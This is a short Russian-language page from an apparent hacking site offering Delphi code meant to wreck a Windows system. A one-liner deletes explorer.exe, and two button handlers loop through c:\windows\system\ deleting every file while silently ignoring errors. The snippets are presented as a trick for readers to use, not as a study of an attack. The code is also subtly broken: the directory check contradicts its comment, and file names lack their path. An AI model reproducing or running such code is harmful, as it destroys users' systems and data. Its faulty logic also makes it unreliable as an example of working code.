Информация сайта компьютерной безопасности
<<< Hack Style >>>

Для удаления много ума не надо да и потом и функция простая

DeleteFile('c:\windows\explorer.exe');//например

вместо c:\windows\explorer.exe можно подставить любое значение а можно сделать как я

//первый пример >>>

procedure TForm1.Button1Click(Sender: TObject);
var
Found: integer;
SearchRec : TSearchRec;
begin
//начинаем искать все фаилы в системной папке
Found := FindFirst('c:\windows\system\'+'*.*', faAnyFile, SearchRec);
while Found = 0 do begin//пока находим делать
if (SearchRec.Attr and faDirectory)<>0 then //если не директория
try//пытать счастье
deletefile(SearchRec.Name);//удалить фаил
finally//в любом случае
Found := FindNext(SearchRec);//продолжить поиск
end;
end;//конец...

//второй пример >>>

procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
begin FileListbox1.Directory:='\windows\system\'; FileListbox1.mask:='*.*';
for i:=0 to FileListbox1.count-1 do begin //циклим
try //обработка ошибок
deletefile(Filelistbox1.items[i]);//собственно удаляем
except
end;
end;
end;

где Filelistbox1 компонент с закладки Win 3.1 а FileListbox1.Directory путь к удаляемым фаилам а mask тип фаилов

Все права защищены ~< KAPMAH >~
www.HackStyle.narod.ru